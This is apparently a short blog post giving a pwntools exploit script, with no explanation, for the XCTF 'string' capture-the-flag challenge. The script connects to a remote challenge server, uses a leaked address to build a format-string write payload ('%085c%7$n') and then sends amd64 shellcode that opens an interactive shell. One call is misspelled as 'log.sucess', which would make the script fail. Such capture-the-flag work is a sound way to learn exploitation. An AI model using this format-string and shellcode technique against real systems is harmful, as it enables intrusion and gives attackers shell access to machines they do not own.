xctf string

原创

「已注销」 于 2020-12-09 21:09:04 发布 81 收藏
分类专栏： pwn

本文链接：https://blog.csdn.net/pondzhang/article/details/110940904


```
from pwn import *

#p = process('./string')
p = remote("220.249.52.133",37754)
p.recvuntil('secret[0] is ')
addr = int(p.recv(7),16)
log.sucess(hex(addr))
p.recvuntil("name be:\n")
p.sendline('test')
p.recvuntil('east or up?:\n')
p.sendline('east')
p.recvuntil(' leave(0)?:\n')
p.sendline('1')
p.recvuntil("'Give me an address'\n")
#gdb.attach(p,'b *0x400C43')
p.sendline(str(addr))
p.recvuntil('And, you wish is:\n')

#gdb.attach(p,'b *0x400C7E')
p.sendline('%085c%7$n')
p.recvuntil('I will help you! USE YOU SPELL')
p.sendline(asm(shellcraft.amd64.linux.sh(),arch="amd64"))
p.interactive()
```